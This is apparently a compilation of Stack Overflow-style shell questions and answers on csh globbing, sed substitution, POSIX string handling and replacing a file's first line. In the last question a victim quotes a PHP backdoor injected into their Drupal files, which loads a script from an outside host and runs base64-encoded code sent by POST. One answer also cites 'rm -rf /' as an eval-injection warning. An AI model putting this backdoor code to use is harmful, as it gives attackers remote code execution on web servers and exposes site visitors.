csh: set: No match - sed

I define a function, an array and a variable:
set fnctn = "F(x)=Vx1*(1+cos(1*x-pi))"
set Vx = ( 1 1 1 1 )
set Vx1 = $Vx[1]
The following commands do what I want:
echo "$fnctn" | sed "s/Vx1/$Vx1/"
set fnctn2 = `echo "$fnctn" | sed "s/Vx1/$Vx1/"`
echo "$fnctn2"
or even:
echo "$fnctn" | sed "s/Vx1/$Vx[1]/"
But storing the answer to the later command in a variable such as:
set fnctn2 = `echo "$fnctn" | sed "s/Vx1/$Vx[1]/"`
reports the following error message:
set: No match.
Where is the trick?
ps: please do not suggest me to switch to bash :-) -

Because of the square brackets, csh interprets the word as a pattern and tries to do filename substitution ("globbing") on it. Since you don't have any files with names that match that "pattern", it tells you that it can't find a match.
Just inhibit filename substitution like this:
set noglob
before you attempt the assignment.

The catch here is that for $Vx[1], filename substitution is for some reason attempted twice: apparently, first on evaluation of the variable, then on the evaluation of the result of the command substitution. While for $Vx1, it's only attempted once, on variable substitution:
> ls
f1 f2 f3
> echo *
f1 f2 f3
> set v=("*" "?2")
> set v1="$v[1]"
> set echo=1
> echo `echo ${v1}`
echo `echo ${v1}`
echo *
f1 f2 f3
> echo `echo "${v1}"`
echo `echo "${v1}"`
echo *
*
> echo "${v[1]}"
echo *
*
> echo `echo "${v[1]}"`
echo `echo "${v[1]}"`
echo *
f1 f2 f3
My guess about the reason is because array indices are also subject of variable substitution, $Vx[1] is marked "substitute twice" or something, and the resulting "*" has "one substitution left yet". The man page doesn't say anything relevant, so if it's by design, the link is too subtle for me. Though it is definitely a side effect of the existing implementation, whatever it is. This is a bug in my book -- at least, the fact that this behavior is not documented.
The way around that I've found is to quote the command substitution clause. Now, escaping the quotes inside with a backslash doesn't work reliably and is prone to giving parsing errors depending on the expression inside. The way that worked for me in this case was to use single quotes inside:
> echo "`echo '$fnctn' | sed 's/Vx1/$Vx[1]/'`"
echo `echo 'F(x)=Vx1*(1+cos(1*x-pi))' | sed 's/Vx1/1/'`
sed s/Vx1/1/
echo F(x)=Vx1*(1+cos(1*x-pi))
F(x)=1*(1+cos(1*x-pi))
This is just one of the examples of csh's poor/unpolished design that causes people to recommend against using it.

Related

Subset a string in POSIX shell

I have a variable set in the following format:
var1="word1 word2 word3"
Is it possible to subset/delete one of the space-delimited word portably? What I want to archive is something like this:
when --ignore option is supplied with the following argument
$ cmd --ignore word1 # case 1
$ cmd --ignore "word1 word2" # case2
I want the var1 changes to have only the following value
"word2 word3" # case1
"word3" #case2
If there is no way to achieve above described, is there a way to improve the efficiency of the following for loop? (The $var1 is in a for loop so my alternative thought to achieve similar was having following code)
# while loop to get argument from options
# argument of `--ignore` is assigned to `$sh_ignore`
for i in $var1
do
# check $i in $sh_ignore instead of other way around
# to avoid unmatch when $sh_ignore has more than 1 word
if ! echo "$sh_ignore" | grep "$i";
then
# normal actions
else
# skipped
fi
done
-------Update-------
After looking around and reading the comment by #chepner I now temporarily using following code (and am looking for improvement):
sh_ignore=''
while :; do
case
# some other option handling
--ignore)
if [ "$2" ]; then
sh_ignore=$2
shift
else
# defined `die` as print err msg + exit 1
die 'ERROR: "--ignore" requires a non-empty option argument.'
fi
;;
# handling if no arg is supplied to --ignore
# handling -- and unknown opt
esac
shift
done
if [ -n "$sh_ignore" ]; then
for d in $sh_ignore
do
var1="$(echo "$var1" | sed -e "s,$d,,")"
done
fi
# for loop with trimmed $var1 as downstream
for i in $var1
do
# normal actions
done
One method might be:
var1=$(echo "$var1" |
tr ' ' '\n' |
grep -Fxv -e "$(echo "$sh_ignore" | tr ' ' '\n')" |
tr '\n' ' ')
Note: this will leave a trailing blank, which can be trimmed off via var1=${var1% }

Replace a date string in sed with the ouput of a custom function with arguments

I have a bash script which echos out an html file like
this ./foo.sh > out.html In the html there are timestamps in the
following format 2019-02-24T17:02:19Z.
I wrote a function to
convert the time stamp to the time delta between the timestamp
and now.
my_uptime(){
START=$(date -d "$1" "+%s")
NOW=$(date "+%s")
STD=$(echo "($NOW-$START)/3600" | bc)
MIN=$(echo "(($NOW-$START)/60)%60" | bc)
echo "Uptime $STD h $MIN min"
}
Now I want to replace the timestamp with the output of my_uptime
directly in the stream. I tried this:
echo "<p>some html</p>
2019-02-24T17:02:19Z
<p>some more html</p>" | sed -r "s/[0-9\-]+T[0-9:]+Z/$(my_uptime \0)/"
This fails because the command substitution doesn't recognize the
back reference and puts in a literal 0. Is there another way to
achieve this? Preferably directly in the stream.
... | sed -r "s/[0-9\-]+T[0-9:]+Z/$(my_uptime \0)/"
This code is attempting to pass the matched value from sed's s/// into the shell function. However, $(...) is expanded before sed even sees it.
Using sed is probably not appropriate here.
Here's a perl replacement that effectively combines your shell function and sed:
... | perl -ple '
if (/([0-9-]+T[0-9:]+Z)/) {
$s = `date -d "$1" +%s`;
$n = time;
$h = int(($n-$s)/3600);
$m = int(($n-$s)/60)%60;
$_ = "Uptime $h h $m min";
}'
You could probably do something similar in awk.

My sed command generates two outputs. How can I store the outputs into two variables instead of file?

My code looks like this:
cat new21 | sed -n 's/.*<\/a><strong>\(.*\)<font color="red"> (\(.*\)).*/\1\2/p' | eval $var1 $var2
but the variables var1 and var2 contain nothing.
My Input:
</a><strong>CSKIU7 Advanced course <font color="red"> (2013 class 1)</font></strong>
and what I want is var1=CSKIU7 and var2=Advanced course
Assuming you are using GNU sed and bash, you can do this with read and process substitution:
IFS=$'\t' read var1 var2 < <(sed -n 's/.*<\/a><strong>\(.*\)<font color="red"> (\(.*\)).*/\1\t\2/p' new21)
Now:
echo $var1 .. $var2
Results in:
CSKIU7 Advanced course .. 2013 class 1
Note, that I changed the sed substitution to add a tab character between the matched groups, this allows the use IFS to separate arguments to read. Also, I moved the input file to sed to the end.
You should probably change the sed expression to something like the following:
s/.*<\/a><strong>\(.*\)<font color="red"> (\(.*\)).*/var1=\1 ; var2=\2/p
Then you can just eval its output:
eval $( sed -n 's/.*<\/a><strong>\(.*\)<font color="red"> (\(.*\)).*/var1=\1 ; var2=\2/p' < new21)
If the output can contain special characters, you have to be extremely careful. Imagine the output var1=1 ; var2=2 ; rm -rf /.

cut off known substring sh

How to cut off known substring from the string in sh?
For example, I have string "http://www.myserver.org/very/very/long/path/mystring"
expression "http://www.myserver.org/very/very/long/path/" is known. How can I get "mystring"?
Thanks.
E.g. using perl:
echo "http://www.myserver.org/very/very/long/path/mystring" | perl -pe 's|^http://www.myserver.org/very/very/long/path/(.*)$|\1|'
E.g. using sed:
echo "http://www.myserver.org/very/very/long/path/mystring" | sed 's|^http://www.myserver.org/very/very/long/path/\(.*\)$|\1|'
E.g. when the search string is held in a variable, here named variable. Use double quotes to expand the variable.
echo "http://www.myserver.org/very/very/long/path/mystring" | sed "s|^${variable}\(.*\)$|\1|"
Tested under /bin/dash
$ S="http://www.myserver.org/very/very/long/path/mystring" && echo ${S##*/}
mystring
where
S is the variable-name
## remove largest prefix pattern
*/ upto the last slash
For further reading, search "##" in man dash
Some more illustrations:
$ S="/mystring/" ; echo ${S##*/}
$ S="/mystring" ; echo ${S##*/}
mystring
$ S="mystring" ; echo ${S##*/}
mystring

sed, replace first line

I got hacked by running a really outdated Drupal installation (shame on me)
It seems they injected the following in every .php file;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Can I remove and replace this with sed? e.g.:
find . -name *.php | xargs ...
I hope to have the site working just for the time being to use wget and made a static copy.
You can use sed with something like
sed '1 s/^.*$/<?php/'
The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.
To modify your files in-place, use the -i option of GNU sed.
To replace the first line of a file, you can use the c (for "change") command of sed:
sed '1c<?php'
which translates to: "on line 1, replace the pattern space with <?php".
For this particular problem, however, something like this would probably work:
sed '1,/^$/c<?php'
which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.
(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)
# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'
result:
b
a
a
perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)
sample use:
patch shebang lines in script files to use /usr/bin/env
shebang line is the first line: #!/bin/bash etc
find . -type f -exec perl -p -i -e \
'$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;
this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)
the (?!env) (negative lookahead) prevents double-replacing
its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...